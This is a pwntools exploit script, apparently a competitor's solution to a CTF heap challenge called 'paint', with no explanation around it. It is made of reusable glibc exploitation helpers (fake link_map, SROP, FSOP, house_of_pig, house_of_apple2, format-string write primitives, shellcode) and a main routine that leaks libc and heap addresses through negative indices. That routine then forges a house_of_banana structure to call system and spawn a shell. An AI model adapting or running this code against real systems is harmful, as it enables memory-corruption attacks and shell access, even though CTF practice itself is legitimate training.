1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295
| from pwn import * import ctypes context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug" context.arch = "amd64"
filename = "./pwn" libc_name = "/lib/x86_64-linux-gnu/libc.so.6" remote_ip = "paint-71ae86dc10a3fe17.brics-ctf.ru" remote_port = "13003"
libc = ELF(libc_name)
mode = 0
s = lambda x: p.send(x) r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close()
if mode: p = remote(remote_ip, remote_port) else: p = process(filename, stdin=PTY)
def bpp(): gdb.attach(p) pause()
def log(x): print("\x1B[36m{}\x1B[0m".format(x))
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap
def orw_shellcode(): payload=shellcraft.open('./flag') payload+=shellcraft.read(3,'./flag',100) payload+=shellcraft.write(1,'./flag',100) payload=asm(payload) return payload
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): payload = p64(part1) payload += p64(0) payload += p64(1) payload += p64(jmp2) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(part2) payload += b'A' * 56 return payload
def leak(): leak_dat = ru("\x7f")[-6:] return u64(leak_dat.ljust(8, b'\x00'))
def fmlstr(offset1, offset2, chain2, target, prefix): for i in range(8): if (target&0xff) != 0: if i != 0: sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00') sleep(0.05) sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00') sleep(0.05) target >>= 8 sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def fmlstr2(offset1, offset2, chain2, target, prefix): for i in range(4): if (target&0xffff) != 0: if i != 0: sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00') sleep(0.05) sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00') sleep(0.05) target >>= 16 sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def SROP(rdi, rsp, rip): signframe = SigreturnFrame() signframe.rax = constants.SYS_execve signframe.rdi = rdi signframe.rsi = 0x0 signframe.rdx = 0x0 signframe.rsp = rsp signframe.rip = rip return bytes(signframe)
def FSOP(fake_vtable_addr): from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.flags = 0x68732f6e69622f fake_IO_FILE.vtable = fake_vtable_addr IO_FILE = bytes(fake_IO_FILE) return IO_FILE
def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr): """ #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; new_buf = malloc (new_size); # 计算好申请出来 memcpy (new_buf, old_buf, old_blen); #覆盖( free (old_buf); """ from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.vtable = _IO_str_jumps fake_IO_FILE._IO_buf_base = bin_addr fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2) fake_IO_FILE._IO_save_base = system_addr fake_IO_FILE._IO_backup_base = system_addr return bytes(fake_IO_FILE)
def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP): """ 调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格 """ from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x68732020 fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.vtable = _IO_wfile_jumps fake_IO_FILE._wide_data = wide_data_entry fake_IO_FILE = bytes(fake_IO_FILE) pad = p64(0)*4 + p64(heap_base + 0x100) + p64(0) + p64(0) + p64(0) * (28-7) pad += p64(wide_data_vtable_entry) """_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C""" payload = p64(RIP)*14 return (fake_IO_FILE, pad, payload)
prefix = "6. Delete canvas"
def show(index): sla(prefix, b'4') sla("Enter idx: ", str(index))
def add(index, width, height): sla(prefix, b'1') sla("Enter idx: ", str(index)) sla("Enter canvas width (1-255): ", str(width)) sla("Enter canvas height (1-255): ", str(height))
def delete(index): sla(prefix, b'6') sla("Enter idx: ", str(index))
def edit(index, payload): sla(prefix, b'3') sla("Enter idx: ", str(index)) sa("Enter your picture (`width` chars in `height` lines): ", payload)
def rate(index, rate, comment, payload): sla(prefix, b'5') sla("Enter idx: ", str(index)) sla("Enter rate: ", str(rate)) sla("Leave comment (y/n): ", comment) sa("Enter your comment: ", payload)
def resize(index, width, height): sla(prefix, b'2') sla("Enter idx: ", str(index)) sla("Enter new width (1-255): ", str(width)) sla("Enter new height (1-255): ", str(height))
def exit(): sla(prefix, b'666')
"""leak libc""" show(-2)
leak_dat = leak() log(hex(leak_dat))
libc_base = leak_dat - (0x7f510501ba80 - 0x7f5104e00000) log(hex(libc_base))
"""leak heap""" add(0, 0x10, 2) rate(0, 1, 'y', b'a'*0x20) rate(0, 1, 'y', b'b'*0x30) delete(0) add(0, 0x10, 2) show(0)
ru("Picture: \n") heap_base = u64(r(5).ljust(8, b'\x00')) heap_base = heap_base << 12 log(hex(heap_base << 12))
"""house_of_banana""" _rtld_global = libc_base + (0x7ffff7ffd040 - 0x7ffff7c00000)
log(hex(_rtld_global))
fake_addr = heap_base + 0x490 l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000) ret_addr = libc_base + 0x0000000000029cd6
def house_of_banana(fake_addr, l_next, gadget, count): fake_content = p64(0) + p64(0) fake_content += p64(0) + p64(l_next) fake_content += p64(0) + p64(fake_addr) fake_content += p64(0x8) fake_content += p64(0x8) fake_content += p64(0x8) fake_content = fake_content.ljust(0x48, b'\x00') fake_content += p64(fake_addr + 0x58) fake_content += p64(0x8 * count) fake_content += gadget fake_content = fake_content.ljust(0x110, b'\x00') fake_content += p64(fake_addr + 0x40) fake_content += p64(0) + p64(fake_addr + 0x48) fake_content = fake_content.ljust(0x31c, b'\x00') fake_content += p64(0x1c) return fake_content
setcontext = libc_base + libc.sym['setcontext'] bin_addr = libc_base + 0x00000000001d8698 gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)
fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)
add(3, 0xf0, 1) resize(3, 0xf0, 5) fake_content = fake_content.ljust(0xf0 * 5, b'\x00')
sla(prefix, b'3') sla("Enter idx: ", str(3)) for i in range(5): sl(fake_content[0xf0*i:0xf0*(i+1)])
rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(_rtld_global)) edit(-5, p64(fake_addr + 0x10))
bpp() exit()
"""past"""
ia()
|